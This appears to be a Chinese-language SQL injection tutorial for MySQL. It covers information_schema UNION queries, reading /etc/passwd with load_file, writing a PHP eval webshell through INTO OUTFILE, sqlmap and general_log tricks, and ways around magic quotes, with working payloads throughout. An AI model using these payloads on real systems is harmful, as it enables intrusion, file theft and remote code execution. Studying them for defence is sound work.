在本系列课程学习中,SQL注入漏洞将是重点部分,其中SQL注入又非常复杂,区分各种数据库类型,提交方法,数据类型等注入,我们需要按部就班的学习,才能学会相关SQL注入的核心。同样此类漏洞是WEB安全中严重的安全漏洞,学习如何利用,挖掘,修复也是很重要的。
1、信息收集
获取当前网站的操作系统
select @@version_complie_os;
获取数据库名
select database();
获取数据库用户
select user();
获取数据库版本
select version();
获取数据库路径
select @@datadir;
获取网站路径
https://www.jb51.net/hack/5782.html
在MySQL中如何使用LOAD_FILE()函数?(代码示例)-mysql教程-PHP中文网
2、数据注入
知识点:
1、在mysql5.0以上的版本中,mysql存在一个自带数据库information_schema,它是一个存储记录所有数据库名、表名、列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名和列名信息。可以手动打开数据库自己实操一下,加深理解。
2、数据库中符合"."代表下一级,如dvwa.user代表dvwa数据库下的user表
information_schema.schemata 记录所有数据库信息的表 information_schema.tables 记录所有表名信息的表 information_schema.columns 记录所有列名信息的表
例如普通的查询语句:
http://www.aaa.php?id=-1 union select 1,table_name from information_schema.tables where table_schema='dvwa'
该语句是向information_schema.tables表中,查table_schema字段等于'dvwa'的table_name字段内容,有点绕......还是看看实例吧。
这是一张user表的全部内容
下面是向user表中,查询Host字段等于%或localhost的User字段内容。
3、高权限注入
进行跨数据库查询
就一个权限问题而已,某些网站对应数据库用户权限只能查看某个数据库,而高权限数据库用户可以查看多个数据库,步骤和普通的注入差不多,这里不再赘述。
进行文件读取
利用条件
数据库为高权限用户 secure_file_priv可导入
查询语句:
show global variables like '%secure_file_priv%'; select @@secure_file_priv;
对应的情况
Value 说明 NULL 不允许导入导出 /tmp 只能在/tmp目录导入导出 空 不限制目录
在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件
在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件
在window系统下
采取这样的方式读文件,而不是这种C:\Users\zhang\Desktop\php\PHPTutorial\MySQL\data,因为\后加字符在编程语言中有特殊含义,例如c语言中\n是换行。
select load_file('C:/Users/zhang/Desktop/php/PHPTutorial/MySQL/data/1.txt');
在linux系统下
select load_file('/etc/passwd');
写webshell
into outfile写shell
利用条件
- 知道网站的物理路径
- 高权限数据库用户
- secure_file_priv无限制
- 网站路径有写入权限
原生SQL语句写shell:
select '<?php eval($_POST[1]);?>' into outfile '/var/www/html/webshell.php';
sqlmap中可以如下操作:
sqlmap -u 'http://x.x.x.x/?id=x' --file-write='/Users/zhang/Desktop/1.txt' --file-dest='var/www/html/webshell.php'
一般情况下 Linux 系统下面权限分配比较严格,MySQL 用户一般情况下是无法直接往站点根目录写入文件的,这种情况下在 Windows 环境下成功率会很高。
日志文件写shell
利用条件
- Web 文件夹宽松权限可以写入
- Windows 系统下
- 高权限运行 MySQL 或者 Apache
MySQL 5.0 版本以上会创建日志文件,可以通过修改日志的全局变量来 getshell
mysql> SHOW VARIABLES LIKE 'general%'; +------------------+---------------------------------+ | Variable_name | Value | +------------------+---------------------------------+ | general_log | OFF | | general_log_file | /var/lib/mysql/c1595d3a029a.log | +------------------+---------------------------------+
general_log 默认关闭,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中。
可以尝试自定义日志文件,并向日志文件里面写入内容的话,那么就可以成功 getshell:
# 更改日志文件位置 set global general_log = "ON"; set global general_log_file='/var/www/html/info.php'; # 查看当前配置 mysql> SHOW VARIABLES LIKE 'general%'; +------------------+-----------------------------+ | Variable_name | Value | +------------------+-----------------------------+ | general_log | ON | | general_log_file | /var/www/html/info.php | +------------------+-----------------------------+ # 往日志里面写入 payload select '<?php phpinfo();?>'; # 此时已经写到 info.php 文件当中了 root@c1595d3a029a:/var/www/html/$ cat info.php /usr/sbin/mysqld, Version: 5.5.61-0ubuntu0.14.04.1 ((Ubuntu)). started with: Tcp port: 3306 Unix socket: /var/run/mysqld/mysqld.sock Time Id Command Argument 201031 21:14:46 40 Query SHOW VARIABLES LIKE 'general%' 201031 21:15:34 40 Query select '<?php phpinfo();?>
这里虽然可以成功写入,但是这个 info.php 是 MySQL 创建的 :
-rw-rw---- 1 mysql mysql 293 Oct 31 21:15 info.php
Apache 访问这个 php 文件会出现 HTTP 500 的状态码,结论是 linux系统这种情况基本上不会成功,只有在 Windows 系统下成功率会高一些,不过这里还是可以当做小知识点来学习记录。
--os-shell
本质上还是通过into outfile来写php文件,往服务器上写入了两个php,其中一个给我们提供了文件上传的页面,可以通过这个上传页面上传脚本文件到当前目录下。另外一个则是返回了可以让我们执行系统命令的命令行,命令行也可以在网页url中通过对cmd参数传参执行系统命令。
详细请看sqlmap --os-shell 原理详解_ZredamanJ的博客-CSDN博客
--os-cmd
网上都说这个和前者的区别是不需要路径,但经过我的测试还是需要的。抓取数据包分析了一下,我感觉二者的区别就是后者只能执行单条命令,前者是进行交互执行命令,可以执行多条,相当于低配版的--os-shell。
--sql-shell
虽然这个和写webshell没什么关系,但是还得说说,这个只是通过sqlmap发送sql注入语句进行查询而已,相当于手工注入。
4、常见写入问题
魔术引号设计的初衷是为了让从数据库或文件中读取数据和从请求中接收参数时,对单引号、双引号、反斜线、NULL加上一个一个反斜线进行转义,这个的作用跟addslashes()的作用完全相同。
对于这种情况可以采取字符转十六进制绕过,如果编码方式是gbk的情况下,还可以采取宽字节注入绕过。
php中get_magic_quotes_gpc()函数详解-php教程-PHP中文网
5、int函数
对输入的东西进行判断是否为数字
if(is_int($id)){ $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; echo $sql; $result=mysql_query($sql); }else{ echo 'ni shi ge jj?'; }
参考文章
SQLMAP怎么拿shell_Aim High的博客-CSDN博客_sqlmap拿shell
sqlmap --os-shell执行原理(mysql篇) - 小明-o3rr0r - 博客园 (cnblogs.com)